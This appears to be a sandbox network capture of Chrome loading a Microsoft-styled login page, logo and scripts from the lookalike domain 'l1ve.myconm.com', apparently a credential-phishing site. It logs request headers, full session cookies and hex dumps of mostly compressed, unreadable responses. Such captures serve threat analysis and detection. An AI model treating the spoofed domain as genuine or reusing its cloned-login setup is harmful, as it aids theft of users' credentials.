2024-12-09 17:43:17 UTC	381	OUT	Data Raw: 7b 22 63 6c 69 65 6e 74 45 78 70 65 72 69 6d 65 6e 74 73 22 3a 5b 7b 22 70 61 72 61 6c 6c 61 78 22 3a 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 22 2c 22 63 6f 6e 74 72 6f 6c 22 3a 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 5f 63 6f 6e 74 72 6f 6c 22 2c 22 74 72 65 61 74 6d 65 6e 74 73 22 3a 5b 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 5f 74 72 65 61 74 6d 65 6e 74 22 5d 7d 2c 7b 22 70 61 72 61 6c 6c 61 78 22 3a 22 61 64 64 70 72 69 76 61 74 65 62 72 6f 77 73 69 6e 67 74 65 78 74 74 6f 66 61 62 72 69 63 66 6f 6f 74 65 Data Ascii: {"clientExperiments":[{"parallax":"enableidentitybannerresponsiveexperiment","control":"enableidentitybannerresponsiveexperiment_control","treatments":["enableidentitybannerresponsiveexperiment_treatment"]},{"parallax":"addprivatebrowsingtexttofabricfoote
2024-12-09 17:43:18 UTC	507	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:18 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C556_BAY x-ms-request-id: 7532a7e0-aadb-4b55-98ec-93273f7b8a75 ppserver: PPV: 30 H: PH1PEPF00011FE9 V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:18 UTC	134	IN	Data Raw: 38 30 0d 0a 7b 22 46 6c 69 67 68 74 41 73 73 69 67 6e 6d 65 6e 74 73 22 3a 5b 20 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 5f 74 72 65 61 74 6d 65 6e 74 22 2c 20 22 61 64 64 70 72 69 76 61 74 65 62 72 6f 77 73 69 6e 67 74 65 78 74 74 6f 66 61 62 72 69 63 66 6f 6f 74 65 72 5f 74 72 65 61 74 6d 65 6e 74 22 20 5d 7d 0d 0a Data Ascii: 80{"FlightAssignments":[ "enableidentitybannerresponsiveexperiment_treatment", "addprivatebrowsingtexttofabricfooter_treatment" ]}
2024-12-09 17:43:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.17	49838	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:18 UTC	770	OUT	GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1 Host: l1ve.myconm.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.myconm.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0 Sec-WebSocket-Key: X7AqElgbTITcXGIhT2CN3g== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-09 17:43:19 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:43:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: SN1PEPF0002FA29 V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:43:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.17	49839	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:18 UTC	614	OUT	GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1 Host: 32eb4ebc-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l1ve.myconm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://l1ve.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:43:19 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:19 GMT Content-Type: application/x-javascript Content-Length: 32825 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 9951598 cache-control: public, max-age=31536000 etag: 0x8DCB8B8BCF38323 last-modified: Fri, 09 Aug 2024 21:17:56 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 19d89485-901e-002d-6cdf-efe7bd000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-09 17:43:19 UTC	15639	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dc bd 69 77 db 38 b3 3f f8 7e 3e 85 c4 e9 f1 25 db b0 22 39 4b 27 52 18 9d c4 71 3a ce 66 77 ec 2c dd 6e 5f 1f 5a 82 6c b6 65 52 4d 52 5e 62 e9 bb 4f fd 0a 0b 41 8a 4e f2 9c ff 9d 79 71 fb 74 2c 62 21 08 14 0a 85 aa 42 55 e1 de af ed d6 ab 34 6b 4d e3 91 4c 72 d9 8a 93 49 9a 5d 44 45 9c 26 ad d9 54 46 94 95 4b d9 4a 13 39 ce 37 a2 24 9a de 14 f1 28 df f8 27 3f ee fe f6 db 66 ef b7 df 1e 74 47 8f 1f de 3f 79 38 7e 30 91 8f 3b ff e4 9d 77 3b 5b db 1f f6 b7 3b c5 75 d1 fa f5 de ff e5 cd d1 44 91 c5 a3 c2 1b f8 b9 9c 4e 3a 57 f2 64 16 8d ce b7 ce e6 c9 f9 f1 45 1e 8f 65 52 c4 c5 cd 71 1e e7 73 4a 47 e1 4f d5 5a 2c 0e 8f 82 ce 6c 9e 9f f9 87 87 0f 7e eb 1d 89 db cd cd df 1e f7 27 f3 64 84 ee fb 89 90 a2 08 6e 8b 4e e6 cb 40 14 9d Data Ascii: iw8?~>%"9K'Rq:fw,n_ZleRMR^bOANyqt,b!BU4kMLrI]DE&TFKJ97$('?ftG?y8~0;w;[;uDN:WdEeRqsJGOZ,l~'dnN@
2024-12-09 17:43:19 UTC	16384	IN	Data Raw: cd 48 c3 1a 17 45 db 40 3a 9b 4f 89 80 ef ce 60 76 4b 44 73 ff 26 27 f9 61 27 99 a4 06 ce bc e1 15 a1 09 a7 cf 1c a8 8d 8a 02 53 37 27 e1 79 30 3f 2d 73 10 b0 b4 52 45 65 a8 eb 33 32 c3 fd b8 bd aa 5e aa 26 53 f7 52 35 33 8b 70 46 e5 49 eb 30 03 ab 00 4d 09 1b 6a a3 e8 a4 ea ee e6 4e 5e 5e 4d a2 41 43 79 95 7a ee 8c 66 55 5e 8b c4 48 e5 6a 9c 92 9c 77 89 58 7b 29 6d ba 29 84 e3 84 b7 7a f5 8b e6 53 15 a3 24 ee 10 6e 15 b8 43 93 e3 c6 aa b7 9d 4c 92 18 23 22 8c f6 6a 3a e7 3e ba f2 ec 5e 9d 56 13 3f a4 2c 6b d3 1f 73 27 dd 3b 38 13 6d 43 d7 31 d7 d3 eb 53 9c 5d 1a 0b 2e de 1d 80 53 f9 37 cc 70 05 10 ce 2a 11 30 aa dd 73 05 0a 6d a8 74 a6 3c 54 14 87 ea 5c 16 83 90 5d 9a 09 ad 4b a9 a5 33 b4 36 87 e2 0e b0 43 81 e7 f5 39 0a 08 42 bb a5 b8 ae 29 0d 06 ca 7e Data Ascii: HE@:O`vKDs&'a'S7'y0?-sREe32^&SR53pFI0MjN^^MACyzfU^HjwX{)m)zS$nCL#"j:>^V?,ks';8mC1S].S7p*0smt<T\]K36C9B)~
2024-12-09 17:43:19 UTC	802	IN	Data Raw: 2b 4d 7a 45 dd 19 14 a8 d1 ae e9 97 ae f8 e6 32 c1 c1 24 10 97 45 27 80 b2 0f 60 09 e5 4a 43 df 29 ae fc 1e e7 43 a0 ad 39 a9 d0 4a d3 d9 77 2b 7d b0 9a da 4a 71 87 36 b4 c6 04 af 1d c3 1b 6c 40 4b 73 9a 8d cc 6c 6c 58 e2 9c 5f 34 12 92 2b d6 81 81 af 83 66 0a 09 ad d0 fa ec 0c cc 38 6b d6 69 e5 9c 24 ab d6 0d 72 40 bc 1b 1c 49 ae fa 1a 5e 29 fc ba 93 5c a6 07 c9 29 fd 8a 61 1c 5a 12 ce ad 6b 8e 8d 5c a5 b5 b0 7d 34 ac 3a 5a 86 e3 24 1e 8f e1 de f6 b3 78 0c 84 48 38 c0 a9 4c 33 40 a0 f6 5c 67 45 44 e8 56 5a 7c 35 22 e1 68 23 46 af 6b be 7c 7e dd b7 ba 6f b1 cf 32 05 52 f6 eb 8d 02 f6 c0 3a 6e 10 f5 65 c3 38 bf 6e 5d 7b c6 c4 5b 40 ce a7 b7 db 9c de 4c 2d 8c 4e 13 ef d7 15 0c d8 03 5a 23 7b 9c dd 1e bf de e6 06 e5 6f 40 68 12 29 fc e2 d7 71 8f 81 ee fb c1 Data Ascii: +MzE2$E'`JC)C9Jw+}Jq6l@KsllX_4+f8ki$r@I^)\)aZk\}4:Z$xH8L3@\gEDVZ\|5"h#Fk\|~o2R:ne8n]{[@L-NZ#{o@h)q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.17	49840	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:18 UTC	884	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: 32eb4ebc-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l1ve.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
2024-12-09 17:43:19 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:19 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 22515018 cache-control: public, max-age=31536000 etag: 0x8DB77257FFE6B4E last-modified: Tue, 27 Jun 2023 15:45:14 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1270f0ec-501e-00fe-349b-7d5d6e000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-09 17:43:19 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-12-09 17:43:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.17	49841	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:18 UTC	871	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: 32eb4ebc-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l1ve.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
2024-12-09 17:43:19 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:19 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 22514551 cache-control: public, max-age=31536000 etag: 0x8DB77257C91B168 last-modified: Tue, 27 Jun 2023 15:45:09 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: afa40441-501e-0046-279d-7d733b000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-09 17:43:19 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-12-09 17:43:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.17	49842	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:18 UTC	642	OUT	GET /shared/5/js/login_en_GZu1H3AHaJ0ROCr2BSwwfw2.js HTTP/1.1 Host: 32eb4ebc-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; MC1="GUID=79c56b7970324e2f992d785b446d07d7&HASH=79c5&LV=202412&V=4&LU=1733766196293"; MS0=0948991d4b3d449c8f22fe345e27b6c0
2024-12-09 17:43:21 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:21 GMT Content-Type: application/x-javascript Content-Length: 245851 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 2183341 cache-control: public, max-age=31536000 etag: 0x8DD03B95197DD49 last-modified: Wed, 13 Nov 2024 08:01:02 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3c9b8f27-301e-0024-0a86-36a26e000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-09 17:43:21 UTC	15633	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dc bd 6b 77 db b8 b2 20 fa fd fe 0a 5b 37 4b 8b 3c 86 15 c9 ce 93 0a 5b 93 c4 76 27 dd 79 75 1e 9d ee f6 f6 78 d1 12 6c 31 91 48 85 a4 ec 38 b6 fe fb ad 07 9e 24 e5 24 fb cc 99 39 77 b2 56 2c 10 04 81 42 a1 00 54 15 aa 0a b7 ff 63 73 e3 20 2f 36 66 e9 58 66 a5 dc 48 b3 d3 bc 98 27 55 9a 67 1b 8b 99 4c 20 ab 94 72 63 96 9f a5 d9 b1 cc 7a 9f ca de 8b e7 4f f7 5f bd db ef 55 5f ab 8d ff b8 fd ff 6c 9e 2e b3 31 96 0f c2 ab f3 a4 d8 90 a2 12 99 28 44 2e d2 f8 ea ee 60 f7 6e 64 0a d0 ab f0 aa b3 c4 5a ab 22 1d 57 9d 21 7e 52 c4 59 b0 f3 f0 ee 20 14 79 7c 35 9e a6 b3 c9 d3 3c ab e4 d7 ea fd e5 42 96 d1 66 5f 8c ed 73 ed 91 5e 4f e4 69 b2 9c 55 6f 8a 7c c1 cf 69 b9 98 25 97 af 92 39 15 3f 93 d5 5e ad 04 65 15 e9 b9 9c bc ab 92 4a 1e Data Ascii: kw [7K<[v'yuxl1H8$$9wV,BTcs /6fXfH'UgL rczO_U_l.1(D.`ndZ"W!~RY y\|5<Bf_s^OiUo\|i%9?^eJ
2024-12-09 17:43:21 UTC	12535	IN	Data Raw: cf f2 39 7e 73 df c3 ec ee 03 07 b3 bb 0f 7d b4 de e9 7b 48 bd 03 b5 3d cf 4a 89 b6 16 77 ee 59 fc 0e b0 8f 07 03 4c 00 24 07 3b 98 00 30 0e 76 31 01 df 1c dc c1 04 7c 70 70 17 13 00 c0 c1 3d 4c 40 d3 07 f7 31 01 cd 1e 3c 40 54 41 7b 07 0f 31 31 c0 0a fb 98 a2 aa b1 ee 1d ac 7b 80 95 df 81 ca 5f 2d e7 8c 8f 01 42 e5 0e d5 ce 0e bc 46 15 21 0c 4b e2 cd 04 a0 ee ba 16 87 48 5e d3 7f 9e 1f d2 33 7a b2 e0 2f 71 7c de 40 7b 77 bd a8 65 c2 1e 52 5a 25 0e 47 58 95 31 cd ae 70 a4 46 3d 6a 3b 4e 94 b5 23 75 ad cf b5 ba 7d ae 32 55 c0 e1 47 47 74 87 bc 03 57 d4 81 ce 6a 17 ca 7f 5f 1f 58 00 d3 95 28 8d 0f 1f 54 ae d7 13 ea 45 a0 6d ed 6a c1 08 61 02 26 bf 50 5d 58 f3 d9 77 d1 60 70 80 75 d1 41 ec 4f 01 f0 d3 6d c0 72 3a cb 5d b5 1b 9e be d2 65 58 a7 b2 d0 4b 7b e9 Data Ascii: 9~s}{H=JwYL$;0v1\|pp=L@1<@TA{11{_-BF!KH^3z/q\|@{weRZ%GX1pF=j;N#u}2UGGtWj_X(TEmja&P]Xw`puAOmr:]eXK{
2024-12-09 17:43:21 UTC	16384	IN	Data Raw: 57 83 1d 17 59 7a bf 60 41 37 90 ce ec e0 a8 f5 f0 c9 e0 19 26 2d ab 64 24 40 3c 1a c9 7a ae 8f d4 ee c0 aa a8 1f 3e 65 de 9a 29 bf 69 2c d7 68 d4 3c 1c 5b f7 08 55 cf 68 db 68 aa 76 cc e5 60 57 5d f3 40 86 0e d5 56 7a aa 35 5d af 28 d4 74 8a b7 9d 97 dc 6a b7 5c eb b5 a0 64 70 ee 07 38 a9 98 51 20 e9 2a a4 c5 f8 0a cf 20 d9 9d cf d5 95 95 7d be e6 90 4d d0 07 22 14 c2 67 c1 2a bc 82 8c 8c 3e 48 51 63 0b d8 03 3b 13 5b 82 46 d9 0c a4 9a 6a bc 5b 33 c2 5b d5 03 b1 19 88 7e cc 12 10 92 0a b2 96 7b 5e ad 0b 82 4d d3 8b 5f 7f 25 43 5b 34 60 61 47 c7 18 fb c6 d1 23 eb 31 6f f2 31 cf c9 aa 43 a0 ea 6b 5b 67 a5 f4 46 e4 58 6d e9 90 5c e5 64 e1 d2 13 66 31 48 09 a4 d7 d0 09 08 54 42 c4 c8 6f 7d 6e 65 fc ff 77 6f 41 db a2 66 b5 d5 79 e4 d4 ce bf 33 b5 d6 e7 56 25 Data Ascii: WYz`A7&-d$@<z>e)i,h<[Uhhv`W]@Vz5](tj\dp8Q * }M"g*>HQc;[Fj[3[~{^M_%C[4`aG#1o1Ck[gFXm\df1HTBo}newoAfy3V%
2024-12-09 17:43:22 UTC	16384	IN	Data Raw: 57 a2 c3 0d 1e 4f bc cf 9e da ed 27 c0 c8 03 6f 3f b9 9f a4 71 17 43 8e 8b f0 9f 98 ad 6f 3c f5 d0 69 b3 14 13 3f a0 f4 7d c1 04 3a 97 08 e5 c6 7f 80 af 74 72 fa 3a 7f 68 02 37 e1 58 ff 5c 5b 2f cc 39 56 51 0c 12 3a 7a eb 1f 28 25 1d 39 f9 6b 34 3f 24 d8 fd 34 a2 07 25 9c f7 02 e1 0a a4 31 ff 07 4a 1f 3b b2 7b 01 81 07 c6 11 db 4b f6 9b 47 86 25 38 a5 7f 6b 58 39 65 88 c6 e8 c7 b1 07 f3 74 e0 c8 eb d2 9f 2e 16 bb e0 95 01 76 04 95 c2 51 09 cb 0e a3 ea 01 b1 ad b8 29 25 77 c4 fa d3 35 d0 03 44 eb 07 45 f8 20 3b 20 af 54 7c 3d c8 16 a2 83 c9 3d f2 70 76 d2 05 58 dc 88 4f fd 71 0e cd 03 0c 01 ff 75 7d fd 9b d7 fd ac 40 76 4d be be 66 c1 2e 0a 4d bf 39 f0 3b f5 8e c5 cc 11 a5 09 a2 05 55 aa 89 26 d1 94 cb f4 b0 01 0c 08 e1 ef ec 5a 0b a2 b3 b3 ec 93 f1 1f bd Data Ascii: WO'o?qCo<i?}:tr:h7X\[/9VQ:z(%9k4?$4%1J;{KG%8kX9et.vQ)%w5DE ; T\|==pvXOqu}@vMf.M9;U&Z
2024-12-09 17:43:22 UTC	16384	IN	Data Raw: 12 ec 04 6d 78 1a f7 7f ab 18 61 2b d6 b6 86 3a 85 1a 33 df 2d ae 06 d9 0a d0 23 5b 93 2f 6f 0c cb 55 36 c8 34 6a 99 b2 f8 d0 0d c4 cb 9c 22 9b 16 17 2f 4b f4 db 55 f9 f0 a9 b3 94 85 b6 b1 36 65 33 2c 1c 00 10 75 4b 8c 1f 01 70 90 51 5a 3c 89 04 e1 01 b1 b9 74 bc cb 99 8d 2e e8 f2 16 67 76 a7 5c f9 da db 0b c9 4d 5b d1 6e 4e 1b 86 19 c6 c8 d7 f4 1b 1d df e2 df 80 a5 b6 d1 a0 08 99 56 f7 9b 90 c0 bf 59 02 93 0e 5e e9 28 4d f7 6d 24 7f b6 35 f2 e7 94 b9 00 e7 de 8a 8a fe de 37 34 0e 91 c2 d1 f7 c4 a3 4a 89 b5 c2 25 0d da 1a 16 b0 25 cc 13 08 6d 0b c3 43 17 7f 91 4a ea 51 46 16 df c5 aa 00 1e 8c f2 0d 75 3c 90 68 13 46 f2 c3 91 50 e5 91 af 42 f1 98 10 72 5e 1e 21 cb 28 a6 60 b2 f6 f4 3b 12 a5 58 04 d7 e0 67 9c 69 7c 0c 47 76 7d d4 f3 64 35 3d 94 4e 61 da 0e Data Ascii: mxa+:3-#[/oU64j"/KU6e3,uKpQZ<t.gv\M[nNVY^(Mm$574J%%mCJQFu<hFPBr^!(`;Xgi\|Gv}d5=Na
2024-12-09 17:43:22 UTC	16384	IN	Data Raw: ea e9 cd 4f 19 47 38 c5 03 60 00 84 88 e0 41 da 5e e9 00 de 2f e3 33 88 cf e0 dc a4 ed 55 3c 37 32 7e d2 1a a2 94 a2 df 8e dc 21 10 6f 3d 94 9a bc 45 3c b6 b1 31 78 2e 70 ed 8d 41 cd 27 bb fc e3 f6 a0 c3 1c 2b e0 17 9b d4 91 1f d6 c2 08 82 b5 7c a3 df 1e 75 28 49 2c 48 5f d3 fd 8b 6c 35 23 65 d8 0e 80 58 cd 48 88 0b d3 80 fb 25 a4 fb 85 1c 6d aa 79 50 f7 4c 1e d5 83 f1 78 78 63 73 9e 95 b0 de 02 6b c2 f5 db 95 22 a5 ae 50 f8 75 bb c2 35 59 2b bb 92 7c dd ae 70 ff c0 7a 57 68 3b e1 e6 06 e4 02 d1 fb cb a8 d7 0b 51 55 b6 07 db 3b 44 86 4a 0f 4e 32 7d 64 09 20 33 94 32 b9 20 8d df 41 9a 24 1f 43 32 a1 d1 23 1b 0d 64 e4 82 19 19 c0 0f ed 4c 04 91 ee 6d 29 02 30 dc 1d 4e 00 19 12 9a 8b c3 4a df 9f 25 d5 ac c5 c5 07 8c 22 03 42 60 3f d8 27 a2 2b ab 2c 1a c5 51 Data Ascii: OG8`A^/3U<72~!o=E<1x.pA'+\|u(I,H_l5#eXH%myPLxxcsk"Pu5Y+\|pzWh;QU;DJN2}d 32 A$C2#dLm)0NJ%"B`?'+,Q
